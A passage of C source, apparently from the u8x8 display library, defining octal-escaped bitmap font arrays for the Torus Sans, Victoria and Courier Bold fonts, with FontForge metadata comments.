\"A\\177>\\0\\177\\177\\21\\21\\21\\37\\16\\0>\\177AAA\\377\\276\\0\\177\\177\\21\\21\\21\\177n\\0&oII\"\n  \"I{\\62\\0\\0\\1\\1\\177\\177\\1\\1\\0\\77\\177@@@\\177\\77\\0\\17\\37\\60`\\60\\37\\17\\0\\177\\177\\60\\34\"\n  \"\\60\\177\\177\\0cw\\34\\10\\34wc\\0\\0\\7\\17xx\\17\\7\\0aqy]OGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\0\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\0\\0\\14\\6\\3\\6\\14\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FontForge-Torus Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 96/170\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_torussansbold8_r[772] U8X8_FONT_SECTION(\"u8x8_font_torussansbold8_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\3\\7\\0\\0\\7\\3\\0\\0\\42\\177\\177\"\n  \"\\42\\177\\177\\42\\0$.kk:\\22\\0\\0c\\63\\30\\14fc\\0\\0 vOY\\67fP\\0\\0\\0\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\0\\12\\4\\37\\4\\12\\0\\0\\0\\10\\10\"\n  \">\\10\\10\\0\\0\\0\\0p\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\"\n  \"\\14\\6\\3\\0\\0>\\177AA\\177>\\0\\0@B\\177\\177@@\\0\\0bqYIOF\\0\\0\\42AI\"\n  \"I\\177\\66\\0\\0\\34\\36Q\\177\\177P\\0\\0'GEE}\\71\\0\\0>\\177IIy\\62\\0\\0\\1\\1y\"\n  \"}\\7\\3\\0\\0\\66\\177II\\177\\66\\0\\0&OII\\177>\\0\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0\\0v\"\n  \"\\66\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\1Y\"\n  \"Y\\17\\6\\0<B\\231\\245\\245\\271\\42\\34\\0~\\177\\11\\11\\177~\\0\\0\\177\\177II\\177\\66\\0\\0>\\177A\"\n  \"AA\\42\\0\\0\\177\\177AA\\177>\\0\\0\\177\\177IIAA\\0\\0\\177\\177\\11\\11\\1\\1\\0\\0>\\177A\"\n  \"Iy:\\0\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0 @@@\\177\\77\\0\\0\\177\\177\\10\"\n  \"\\34wc\\0\\0\\177\\177@@@@\\0\\177\\6\\14\\30\\14\\6\\177\\177\\177\\7\\16\\34\\70p\\177\\0\\0>\\177A\"\n  \"A\\177>\\0\\0\\177\\177\\21\\21\\37\\16\\0\\0>\\177AA\\377\\276\\0\\0\\177\\177\\11\\11\\177v\\0\\0&OI\"\n  \"Iy\\62\\0\\0\\1\\1\\177\\177\\1\\1\\0\\0\\77\\177@@\\177\\77\\0\\0\\177\\177@@\\77\\37\\0\\177\\177@\\177\"\n  \"@\\77\\37\\0\\0w\\177\\10\\10\\177w\\0\\0\\7\\17xx\\17\\7\\0\\0aqYMGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\0\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\0\\0\\14\\6\\3\\6\\14\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\1\\3\\2\\0\\0\\0 tTT|x\\0\\0\\177\\177DD|\\70\\0\\0\\70|D\"\n  \"DD(\\0\\0\\70|DD\\177\\177\\0\\0\\70|TT\\134H\\0\\0\\0\\4~\\177\\5\\1\\0\\0\\30\\274\\244\"\n  \"\\244\\374|\\0\\0\\177\\177\\4\\4|x\\0\\0\\0D}}@\\0\\0\\0\\0@\\200\\204\\375}\\0\\0\\177\\177\\20\"\n  \"\\70lD\\0\\0\\0\\0\\1\\177\\177\\0\\0||\\4|\\4|x\\0\\0||\\4\\4|x\\0\\0\\70|D\"\n  \"D|\\70\\0\\0\\374\\374DD|\\70\\0\\0\\70|DD\\374\\374\\0\\0||\\10\\4\\4\\4\\0\\0H\\134T\"\n  \"Tt$\\0\\0\\0\\4\\77\\177D\\0\\0\\0<|@@||\\0\\0||@@<\\34\\0||@|\"\n  \"@<\\34\\0\\0l|\\20\\20|l\\0\\0\\34\\274\\240\\240\\374|\\0\\0Ddt\\134LD\\0\\0\\0\\10>\"\n  \"wA\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0Aw>\\10\\0\\0\\0\\10\\14\\4\\10\\20\\30\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Torus Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 18/170\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_torussansbold8_n[220] U8X8_FONT_SECTION(\"u8x8_font_torussansbold8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\24\\10>\\10\\24\\0\\0\\0\\20\\20\"\n  \"|\\20\\20\\0\\0\\0\\0\\340`\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\300`\\60\"\n  \"\\30\\14\\6\\0\\0|\\376\\202\\202\\376|\\0\\0\\200\\204\\376\\376\\200\\200\\0\\0\\304\\342\\262\\222\\236\\214\\0\\0D\\202\\222\"\n  \"\\222\\376l\\0\\0\\70<\\242\\376\\376\\240\\0\\0N\\216\\212\\212\\372r\\0\\0|\\376\\222\\222\\362d\\0\\0\\2\\2\\362\"\n  \"\\372\\16\\6\\0\\0l\\376\\222\\222\\376l\\0\\0L\\236\\222\\222\\376|\\0\\0\\0\\0ll\\0\\0\";\n/*\n  Fontname: -FontForge-Torus Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 64/170\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_torussansbold8_u[517] U8X8_FONT_SECTION(\"u8x8_font_torussansbold8_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\3\\7\\0\\0\\7\\3\\0\\0\\42\\177\\177\"\n  \"\\42\\177\\177\\42\\0$.kk:\\22\\0\\0c\\63\\30\\14fc\\0\\0 vOY\\67fP\\0\\0\\0\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\0\\12\\4\\37\\4\\12\\0\\0\\0\\10\\10\"\n  \">\\10\\10\\0\\0\\0\\0p\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\"\n  \"\\14\\6\\3\\0\\0>\\177AA\\177>\\0\\0@B\\177\\177@@\\0\\0bqYIOF\\0\\0\\42AI\"\n  \"I\\177\\66\\0\\0\\34\\36Q\\177\\177P\\0\\0'GEE}\\71\\0\\0>\\177IIy\\62\\0\\0\\1\\1y\"\n  \"}\\7\\3\\0\\0\\66\\177II\\177\\66\\0\\0&OII\\177>\\0\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0\\0v\"\n  \"\\66\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\1Y\"\n  \"Y\\17\\6\\0<B\\231\\245\\245\\271\\42\\34\\0~\\177\\11\\11\\177~\\0\\0\\177\\177II\\177\\66\\0\\0>\\177A\"\n  \"AA\\42\\0\\0\\177\\177AA\\177>\\0\\0\\177\\177IIAA\\0\\0\\177\\177\\11\\11\\1\\1\\0\\0>\\177A\"\n  \"Iy:\\0\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0 @@@\\177\\77\\0\\0\\177\\177\\10\"\n  \"\\34wc\\0\\0\\177\\177@@@@\\0\\177\\6\\14\\30\\14\\6\\177\\177\\177\\7\\16\\34\\70p\\177\\0\\0>\\177A\"\n  \"A\\177>\\0\\0\\177\\177\\21\\21\\37\\16\\0\\0>\\177AA\\377\\276\\0\\0\\177\\177\\11\\11\\177v\\0\\0&OI\"\n  \"Iy\\62\\0\\0\\1\\1\\177\\177\\1\\1\\0\\0\\77\\177@@\\177\\77\\0\\0\\177\\177@@\\77\\37\\0\\177\\177@\\177\"\n  \"@\\77\\37\\0\\0w\\177\\10\\10\\177w\\0\\0\\7\\17xx\\17\\7\\0\\0aqYMGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\0\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\0\\0\\14\\6\\3\\6\\14\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FontForge-Victoria-Bold-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 96/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_victoriabold8_r[772] U8X8_FONT_SECTION(\"u8x8_font_victoriabold8_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\7\\7\\0\\0\\7\\7\\0\\0\\42\\177\\177\"\n  \"\\42\\177\\177\\42\\0$.kk:\\22\\0\\0c\\63\\30\\14fc\\0\\0 v_I\\177vP\\0\\0\\0\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\4\\25\\37\\16\\37\\25\\4\\0\\0\\0\\10\\10\"\n  \">\\10\\10\\0\\0\\0@p\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\"\n  \"\\14\\6\\3\\0\\0>\\177AA\\177>\\0\\0@B\\177\\177@@\\0\\0bsYIOF\\0\\0\\42cI\"\n  \"I\\177\\66\\0\\0\\34\\36S\\177\\177P\\0\\0'gEE}\\71\\0\\0>\\177II{\\62\\0\\0\\1\\1y\"\n  \"}\\7\\3\\0\\0\\66\\177II\\177\\66\\0\\0&oII\\177>\\0\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0\\0v\"\n  \"\\66\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\1Y\"\n  \"Y\\17\\6\\0<B\\231\\245\\245\\271\\42\\34\\0~\\177\\11\\11\\177~\\0\\0\\177\\177II\\177\\66\\0\\0>\\177A\"\n  \"Ac\\42\\0\\0\\177\\177AA\\177>\\0\\0\\177\\177IIAA\\0\\0\\177\\177\\11\\11\\1\\1\\0\\0>\\177A\"\n  \"I{:\\0\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0 `@@\\177\\77\\0\\0\\177\\177\\34\"\n  \"\\66cA\\0\\0\\177\\177@@@@\\0\\177\\177\\6\\14\\6\\177\\177\\0\\0\\177\\177\\14\\30\\177\\177\\0\\0>\\177A\"\n  \"A\\177>\\0\\0\\177\\177\\11\\11\\17\\6\\0\\0>\\177AA\\377\\276\\0\\0\\177\\177\\31\\71oF\\0\\0&oI\"\n  \"I{\\62\\0\\0\\1\\1\\177\\177\\1\\1\\0\\0\\77\\177@@\\177\\77\\0\\0\\37\\77``\\77\\37\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0\\0cw\\34\\34wc\\0\\0\\7\\17xx\\17\\7\\0\\0aqYMGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\0\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\0\\0\\14\\6\\3\\6\\14\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\1\\3\\2\\0\\0\\0 tTT|x\\0\\0\\177\\177DD|\\70\\0\\0\\70|D\"\n  \"Dl(\\0\\0\\70|DD\\177\\177\\0\\0\\70|TT\\134H\\0\\0\\0\\4~\\177\\5\\1\\0\\0\\30\\274\\244\"\n  \"\\244\\374|\\0\\0\\177\\177\\4\\4|x\\0\\0\\0D}}@\\0\\0\\0@\\300\\200\\204\\375}\\0\\0\\177\\177\\20\"\n  \"\\70lD\\0\\0\\0\\0A\\177\\177@\\0||\\14x\\14|x\\0\\0||\\4\\4|x\\0\\0\\70|D\"\n  \"D|\\70\\0\\0\\374\\374DD|\\70\\0\\0\\70|DD\\374\\374\\0\\0||\\10\\4\\4\\4\\0\\0H\\134T\"\n  \"Tt$\\0\\0\\0\\4\\77\\177D\\0\\0\\0<|@@||\\0\\0\\34<``<\\34\\0\\34|p<\"\n  \"p|\\34\\0\\0Dl\\70\\70lD\\0\\0\\34\\274\\240\\240\\374|\\0\\0Ddt\\134LD\\0\\0\\0\\10>\"\n  \"wA\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0Aw>\\10\\0\\0\\0\\10\\14\\4\\10\\20\\30\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Victoria-Bold-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 18/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_victoriabold8_n[220] U8X8_FONT_SECTION(\"u8x8_font_victoriabold8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*>\\34>*\\10\\0\\0\\0\\20\\20\"\n  \"|\\20\\20\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\300`\\60\"\n  \"\\30\\14\\6\\0\\0|\\376\\202\\202\\376|\\0\\0\\200\\204\\376\\376\\200\\200\\0\\0\\304\\346\\262\\222\\236\\214\\0\\0D\\306\\222\"\n  \"\\222\\376l\\0\\0\\70<\\246\\376\\376\\240\\0\\0N\\316\\212\\212\\372r\\0\\0|\\376\\222\\222\\366d\\0\\0\\2\\2\\362\"\n  \"\\372\\16\\6\\0\\0l\\376\\222\\222\\376l\\0\\0L\\336\\222\\222\\376|\\0\\0\\0\\0ll\\0\\0\";\n/*\n  Fontname: -FontForge-Victoria-Bold-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 64/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_victoriabold8_u[517] U8X8_FONT_SECTION(\"u8x8_font_victoriabold8_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\7\\7\\0\\0\\7\\7\\0\\0\\42\\177\\177\"\n  \"\\42\\177\\177\\42\\0$.kk:\\22\\0\\0c\\63\\30\\14fc\\0\\0 v_I\\177vP\\0\\0\\0\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\4\\25\\37\\16\\37\\25\\4\\0\\0\\0\\10\\10\"\n  \">\\10\\10\\0\\0\\0@p\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\"\n  \"\\14\\6\\3\\0\\0>\\177AA\\177>\\0\\0@B\\177\\177@@\\0\\0bsYIOF\\0\\0\\42cI\"\n  \"I\\177\\66\\0\\0\\34\\36S\\177\\177P\\0\\0'gEE}\\71\\0\\0>\\177II{\\62\\0\\0\\1\\1y\"\n  \"}\\7\\3\\0\\0\\66\\177II\\177\\66\\0\\0&oII\\177>\\0\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0\\0v\"\n  \"\\66\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\1Y\"\n  \"Y\\17\\6\\0<B\\231\\245\\245\\271\\42\\34\\0~\\177\\11\\11\\177~\\0\\0\\177\\177II\\177\\66\\0\\0>\\177A\"\n  \"Ac\\42\\0\\0\\177\\177AA\\177>\\0\\0\\177\\177IIAA\\0\\0\\177\\177\\11\\11\\1\\1\\0\\0>\\177A\"\n  \"I{:\\0\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0 `@@\\177\\77\\0\\0\\177\\177\\34\"\n  \"\\66cA\\0\\0\\177\\177@@@@\\0\\177\\177\\6\\14\\6\\177\\177\\0\\0\\177\\177\\14\\30\\177\\177\\0\\0>\\177A\"\n  \"A\\177>\\0\\0\\177\\177\\11\\11\\17\\6\\0\\0>\\177AA\\377\\276\\0\\0\\177\\177\\31\\71oF\\0\\0&oI\"\n  \"I{\\62\\0\\0\\1\\1\\177\\177\\1\\1\\0\\0\\77\\177@@\\177\\77\\0\\0\\37\\77``\\77\\37\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0\\0cw\\34\\34wc\\0\\0\\7\\17xx\\17\\7\\0\\0aqYMGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\0\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\0\\0\\14\\6\\3\\6\\14\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FontForge-Victoria-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 96/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_victoriamedium8_r[772] U8X8_FONT_SECTION(\"u8x8_font_victoriamedium8_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0_\\0\\0\\0\\0\\0\\7\\0\\0\\0\\7\\0\\0\\0\\42\\177\\42\"\n  \"\\42\\177\\42\\0\\0$*k*\\22\\0\\0\\0\\42\\20\\10\\4\\42\\0\\0 VIIV P\\0\\0\\0\\0\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\0*\\34\\177\\34*\\0\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0>QIE>\\0\\0\\0@B\\177@@\\0\\0\\0bQIIF\\0\\0\\0\\42AI\"\n  \"I\\66\\0\\0\\0\\34\\22Q\\177P\\0\\0\\0'EEE\\71\\0\\0\\0<JII\\60\\0\\0\\0\\1\\1y\"\n  \"\\5\\3\\0\\0\\0\\66III\\66\\0\\0\\0\\6II)\\36\\0\\0\\0\\0\\0\\22\\0\\0\\0\\0\\0\\0@\\62\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0A\\42\\24\\10\\0\\0\\0\\2\\1Y\"\n  \"\\11\\6\\0\\0<B\\231\\245\\245\\271\\42\\34\\0~\\11\\11\\11~\\0\\0\\0\\177III\\66\\0\\0\\0>AA\"\n  \"A\\42\\0\\0\\0\\177AAA>\\0\\0\\0\\177IIAA\\0\\0\\0\\177\\11\\11\\11\\1\\0\\0\\0>AA\"\n  \"I:\\0\\0\\0\\177\\10\\10\\10\\177\\0\\0\\0\\0A\\177A\\0\\0\\0\\0 @@@\\77\\0\\0\\0\\177\\10\\24\"\n  \"\\42A\\0\\0\\0\\177@@@@\\0\\0\\0\\177\\2\\4\\2\\177\\0\\0\\0\\177\\4\\10\\20\\177\\0\\0\\0>AA\"\n  \"A>\\0\\0\\0\\177\\11\\11\\11\\6\\0\\0\\0>AaA\\276\\0\\0\\0\\177\\11\\31)F\\0\\0\\0&II\"\n  \"I\\62\\0\\0\\0\\1\\1\\177\\1\\1\\0\\0\\0\\77@@@\\77\\0\\0\\0\\37 @ \\37\\0\\0\\0\\177 \\20\"\n  \" \\177\\0\\0\\0c\\24\\10\\24c\\0\\0\\0\\7\\10p\\10\\7\\0\\0\\0aQIEC\\0\\0\\0\\0\\177A\"\n  \"A\\0\\0\\0\\0\\2\\4\\10\\20 @\\0\\0\\0\\0AA\\177\\0\\0\\0\\0\\4\\2\\1\\2\\4\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\1\\2\\0\\0\\0\\0 TTTx\\0\\0\\0\\177DDD\\70\\0\\0\\0\\70DD\"\n  \"D(\\0\\0\\0\\70DDD\\177\\0\\0\\0\\70TTTH\\0\\0\\0\\0\\4~\\5\\5\\0\\0\\0\\30\\244\\244\"\n  \"\\244|\\0\\0\\0\\177\\4\\4\\4x\\0\\0\\0\\0D}@\\0\\0\\0\\0@\\200\\200\\204}\\0\\0\\0\\177\\20\\20\"\n  \"(D\\0\\0\\0\\0A\\177@\\0\\0\\0\\0|\\4x\\4x\\0\\0\\0|\\4\\4\\4x\\0\\0\\0\\70DD\"\n  \"D\\70\\0\\0\\0\\374DDD\\70\\0\\0\\0\\70DDD\\374\\0\\0\\0|\\10\\4\\4\\4\\0\\0\\0HTT\"\n  \"T$\\0\\0\\0\\0\\4\\77D\\0\\0\\0\\0<@@ |\\0\\0\\0\\34 @ \\34\\0\\0\\0\\34`\\34\"\n  \"`\\34\\0\\0\\0D(\\20(D\\0\\0\\0\\34\\240\\240\\240|\\0\\0\\0DdTLD\\0\\0\\0\\0\\10\\66\"\n  \"A\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0A\\66\\10\\0\\0\\0\\10\\4\\4\\10\\20\\20\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Victoria-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 18/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_victoriamedium8_n[220] U8X8_FONT_SECTION(\"u8x8_font_victoriamedium8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0T\\70\\376\\70T\\0\\0\\0\\20\\20|\"\n  \"\\20\\20\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\200@ \"\n  \"\\20\\10\\4\\0\\0|\\242\\222\\212|\\0\\0\\0\\200\\204\\376\\200\\200\\0\\0\\0\\304\\242\\222\\222\\214\\0\\0\\0D\\202\\222\"\n  \"\\222l\\0\\0\\0\\70$\\242\\376\\240\\0\\0\\0N\\212\\212\\212r\\0\\0\\0x\\224\\222\\222`\\0\\0\\0\\2\\2\\362\"\n  \"\\12\\6\\0\\0\\0l\\222\\222\\222l\\0\\0\\0\\14\\222\\222R<\\0\\0\\0\\0\\0$\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Victoria-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 64/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_victoriamedium8_u[517] U8X8_FONT_SECTION(\"u8x8_font_victoriamedium8_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0_\\0\\0\\0\\0\\0\\7\\0\\0\\0\\7\\0\\0\\0\\42\\177\\42\"\n  \"\\42\\177\\42\\0\\0$*k*\\22\\0\\0\\0\\42\\20\\10\\4\\42\\0\\0 VIIV P\\0\\0\\0\\0\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\0*\\34\\177\\34*\\0\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0>QIE>\\0\\0\\0@B\\177@@\\0\\0\\0bQIIF\\0\\0\\0\\42AI\"\n  \"I\\66\\0\\0\\0\\34\\22Q\\177P\\0\\0\\0'EEE\\71\\0\\0\\0<JII\\60\\0\\0\\0\\1\\1y\"\n  \"\\5\\3\\0\\0\\0\\66III\\66\\0\\0\\0\\6II)\\36\\0\\0\\0\\0\\0\\22\\0\\0\\0\\0\\0\\0@\\62\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0A\\42\\24\\10\\0\\0\\0\\2\\1Y\"\n  \"\\11\\6\\0\\0<B\\231\\245\\245\\271\\42\\34\\0~\\11\\11\\11~\\0\\0\\0\\177III\\66\\0\\0\\0>AA\"\n  \"A\\42\\0\\0\\0\\177AAA>\\0\\0\\0\\177IIAA\\0\\0\\0\\177\\11\\11\\11\\1\\0\\0\\0>AA\"\n  \"I:\\0\\0\\0\\177\\10\\10\\10\\177\\0\\0\\0\\0A\\177A\\0\\0\\0\\0 @@@\\77\\0\\0\\0\\177\\10\\24\"\n  \"\\42A\\0\\0\\0\\177@@@@\\0\\0\\0\\177\\2\\4\\2\\177\\0\\0\\0\\177\\4\\10\\20\\177\\0\\0\\0>AA\"\n  \"A>\\0\\0\\0\\177\\11\\11\\11\\6\\0\\0\\0>AaA\\276\\0\\0\\0\\177\\11\\31)F\\0\\0\\0&II\"\n  \"I\\62\\0\\0\\0\\1\\1\\177\\1\\1\\0\\0\\0\\77@@@\\77\\0\\0\\0\\37 @ \\37\\0\\0\\0\\177 \\20\"\n  \" \\177\\0\\0\\0c\\24\\10\\24c\\0\\0\\0\\7\\10p\\10\\7\\0\\0\\0aQIEC\\0\\0\\0\\0\\177A\"\n  \"A\\0\\0\\0\\0\\2\\4\\10\\20 @\\0\\0\\0\\0AA\\177\\0\\0\\0\\0\\4\\2\\1\\2\\4\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -Adobe-Courier-Bold-R-Normal--25-180-100-100-M-150-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 191/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courB18_2x3_f[10756] U8X8_FONT_SECTION(\"u8x8_font_courB18_2x3_f\") = \n  \" \\377\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\370\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\277\\277\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<\\374<\\0<\\374<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\376\\376\\200\\200\\376\\376\\200\"\n  \"\\200\\0\\0\\0\\0\\60\\61\\361\\377\\77\\61\\361\\377\\77\\61\\61\\1\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\17\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\360\\30\\30\\36\\36\\60xx\\0\\0\\0\\0\\0\\0\\0\\341\\343\\303\\206\\206\\206\\206\\314\\374x\"\n  